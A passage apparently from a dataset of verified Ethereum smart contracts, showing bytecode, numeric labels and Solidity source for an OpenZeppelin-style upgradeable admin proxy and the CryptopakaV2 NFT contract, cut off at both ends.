0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811061185257fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b8080600101915050611767565b816040519080825280602002602001820160405280156118cf5781602001602082028038833980820191505090505b509350600090505b81811015611946578281815181106118eb57fe5b60200260200101518482815181106118ff57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505080806001019150506118d7565b505050919050565b60065481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461198c57600080fd5b60048054905081603282111580156119a45750818111155b80156119b1575060008114155b80156119be575060008214155b6119c757600080fd5b826005819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611a6157600080fd5b81600073ffffffffffffffffffffffffffffffffffffffff1660008083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611ad157600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611b3b57600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a3611bf085611f9c565b5050505050565b6000611c0484848461225c565b9050611c0f81611a0a565b9392505050565b603281565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c5957600080fd5b806007819055506007547f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c60405160405180910390a250565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611cca57600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611d2157600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d7957600080fd5b60008090505b600480549050811015611e5f578473ffffffffffffffffffffffffffffffffffffffff1660048281548110611db057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611e52578360048281548110611e0557fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611e5f565b8080600101915050611d7f565b506000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508373ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28273ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a250505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611ff357600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661205c57600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff161561208a57600080fd5b6120938561128d565b80156120b15750426003600087815260200190815260200160002054105b15612255576000806000878152602001908152602001600020905060018160030160006101000a81548160ff0219169083151502179055506121d18160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826001015483600201805460018160011615610100020316600290049050846002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156121c75780601f1061219c576101008083540402835291602001916121c7565b820191906000526020600020905b8154815290600101906020018083116121aa57829003601f168201915b50505050506123dd565b1561220857857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2612253565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008160030160006101000a81548160ff0219169083151502179055505b505b5050505050565b600083600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561229957600080fd5b600654915060405180608001604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002019080519060200190612357929190612404565b5060608201518160030160006101000a81548160ff021916908315150217905550905050600754420160036000848152602001908152602001600020819055506001600660008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b6000806040516020840160008287838a8c6187965a03f19250505080915050949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061244557805160ff1916838001178555612473565b82800160010185558215612473579182015b82811115612472578251825591602001919060010190612457565b5b5090506124809190612484565b5090565b6124a691905b808211156124a257600081600090555060010161248a565b5090565b9056fea26469706673582212205adf1d182789f8f231f71ef79b5cc06c2c9039cd30a1d2f2f7a773d06f4583f864736f6c63430006020033 | [
2
] |
0xf349c0faa80fc1870306ac093f75934078e28991 | /**
*Submitted for verification at Etherscan.io on 2020-10-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
} | 0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a264697066735822122073c4c21e5c673ed7cd3c216206991b426c7391cadd714e9a2c3f3ee94217be2b64736f6c634300060c0033 | [
38
] |
0xf349f65802483423ba3c9899d5dc39abd42a8963 | // SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity =0.8.4;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "./TriOwnable.sol";
//******************************//
// //
// https://cryptopaka.com //
// //
//******************************//
contract CryptopakaV2 is ERC721Enumerable, TriOwnable {
string private _baseTokenURI = "https://api.cryptopaka.com/v2/token/";
// if the contract is paused
bool public paused = false;
// if you can still adopt founder pakas
bool public adoptable = true;
// check if the given paka is part of the 6969 founder pakas
mapping(uint256 => bool) public isFounder;
// the token id of MoonCats that has been used
mapping(uint256 => bool) public usedMoonCats;
// the address of MoonCat owners that has claimed
mapping(address => bool) public claimedOwners;
// the number of pakas that can be claimed by MoonCat holders
uint16 public moonCatGiftCount = 500;
// Adoption fee of a single paka
uint256 public constant price = .08 ether;
// Contract of Cryptopaka V1
ERC721Enumerable private constant v1 =
ERC721Enumerable(0x4BeD1ac07D1fb88509D84e08c6Dc28783648BcFF);
// Contract of MoonCatAcclimator
IERC721 private constant mca =
IERC721(0xc3f733ca98E0daD0386979Eb96fb1722A1A05E69);
// Search seed from Cryptopaka V1 used to prevent premining
bytes32 public constant searchSeed =
0x504428e5839a6d6b0967ddafa28dc54d4dba7fc1b8fdb60a23dcbc9bb12547cf;
// SHA-256 hash of the JavaScript parser
bytes32 public constant jsSHA256 =
0x1288f5184d996524ea5f6e6d51fc46548caced33616e91dcfe205189d1a03e2e;
constructor() ERC721("CryptopakaV2", "CPK") {
// migrate v1 tokens
uint256 supply = v1.totalSupply();
for (uint256 i = 0; i < supply; i++) {
uint256 tokenId = v1.tokenByIndex(i);
isFounder[tokenId] = true;
_mint(v1.ownerOf(tokenId), tokenId);
}
}
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
/**
* @dev Make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused, "paused");
_;
}
/**
* @dev Make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused, "not paused");
_;
}
/**
* @dev Triggers stopped state.
*/
function pause() public whenNotPaused onlyOwner {
paused = true;
emit Paused(msg.sender);
}
/**
* @dev Returns to normal state.
*/
function unpause() public whenPaused onlyOwner {
paused = false;
emit Unpaused(msg.sender);
}
function setAdoptable(bool v) public onlyOwner {
adoptable = v;
}
modifier canAdopt() {
require(adoptable, "adoption has ended");
_;
}
/**
* @dev See {ERC721-_beforeTokenTransfer}.
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override whenNotPaused {
super._beforeTokenTransfer(from, to, tokenId);
}
function _baseURI() internal view override returns (string memory) {
return _baseTokenURI;
}
function setBaseURI(string memory uri) public onlyOwner {
_baseTokenURI = uri;
}
function _mintFounderSeed(address to, bytes32 seed) private {
bytes32 h = keccak256(abi.encodePacked(seed, searchSeed));
require((h[30] | h[31] == 0x0) && uint8(h[29]) < 8, "invalid seed");
uint256 tokenId = uint256(h >> 216);
// genesis paka are not adoptable
require(!isGenesis(tokenId));
isFounder[tokenId] = true;
_mint(to, tokenId);
}
function adopt(address to, bytes32 seed) public payable canAdopt {
require(totalSupply() <= 6969 - 16); // exclude 16 genesis pakas
require(price == msg.value, "incorrect ether value");
_mintFounderSeed(to, seed);
}
function claimWithMoonCat(uint256 tokenId, bytes32 seed) public canAdopt {
require(totalSupply() <= 6969 - 16); // exclude 16 genesis pakas
require(moonCatGiftCount > 0, "airdrop has ended");
require(mca.ownerOf(tokenId) == msg.sender, "not the owner");
require(!usedMoonCats[tokenId], "this MoonCat has already been used");
require(!claimedOwners[msg.sender], "you have already claimed");
usedMoonCats[tokenId] = true;
claimedOwners[msg.sender] = true;
--moonCatGiftCount;
_mintFounderSeed(msg.sender, seed);
}
function mint(address to, uint256 tokenId) public onlyOwner {
if (totalSupply() <= 6969) {
isFounder[tokenId] = true;
}
_mint(to, tokenId);
}
function withdraw() public onlyOwner {
uint256 balance = address(this).balance;
payable(msg.sender).transfer(balance);
}
function isGenesis(uint256 tokenId) public pure returns (bool) {
return
tokenId == 1099511562240 ||
tokenId == 1099511566336 ||
tokenId == 1099511570432 ||
tokenId == 1099511574528 ||
tokenId == 1099511578624 ||
tokenId == 1099511582720 ||
tokenId == 1099511586816 ||
tokenId == 1099511590912 ||
tokenId == 1099511595008 ||
tokenId == 1099511599104 ||
tokenId == 1099511603200 ||
tokenId == 1099511607296 ||
tokenId == 1099511611392 ||
tokenId == 1099511615488 ||
tokenId == 1099511619584 ||
tokenId == 1099511623680;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity =0.8.4;
abstract contract TriOwnable {
address[3] private _owners;
event OwnershipUpdated(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_owners[0] = msg.sender;
emit OwnershipUpdated(address(0), msg.sender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner(uint8 index) public view virtual returns (address) {
return _owners[index];
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(
_owners[0] == msg.sender ||
_owners[1] == msg.sender ||
_owners[2] == msg.sender,
"caller is not the owner"
);
_;
}
function removeOwner(uint8 index) public virtual onlyOwner {
emit OwnershipUpdated(_owners[index], address(0));
